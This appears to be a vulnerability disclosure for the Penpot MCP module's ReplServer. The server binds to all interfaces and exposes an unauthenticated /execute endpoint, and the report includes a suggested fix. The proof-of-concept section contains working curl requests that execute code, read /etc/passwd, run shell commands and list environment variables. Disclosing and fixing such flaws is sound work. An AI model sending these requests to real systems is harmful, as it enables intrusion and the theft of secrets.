PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE

Summary

The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.

Details

mcp/packages/server/src/ReplServer.ts:89:

this.server = this.app.listen(this.port, () => {
    // NO HOST ARGUMENT — Express defaults to 0.0.0.0

Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):

this.app.listen(this.port, this.host, async () => {

The /execute endpoint at ReplServer.ts:52-79:

this.app.post("/execute", async (req, res) => {
    const { code } = req.body;
    // No auth check. Executes code via PluginBridge.executePluginTask()
    const task = new ExecuteCodePluginTask({ code });
    const result = await this.pluginBridge.executePluginTask(task);

No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.

This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts — ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.

PoC

I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.

$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES

Unauthenticated code execution:

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}

Binding verification:

$ ss -tlnp | grep 4403
LISTEN  0  511  *:4403  *:*  users:(("node",pid=696955,fd=21))

Listening on *:4403 — all interfaces.

Remote access from Docker container:

$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)

Reachable from any container on the Docker network.

Impact

Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.

Suggested fix

Two lines:

1. Add a host parameter to the listen call in ReplServer.ts:89:

this.server = this.app.listen(this.port, 'localhost', () => {

2. Add authentication to the /execute endpoint. Even a shared secret from an environment variable would be better than nothing.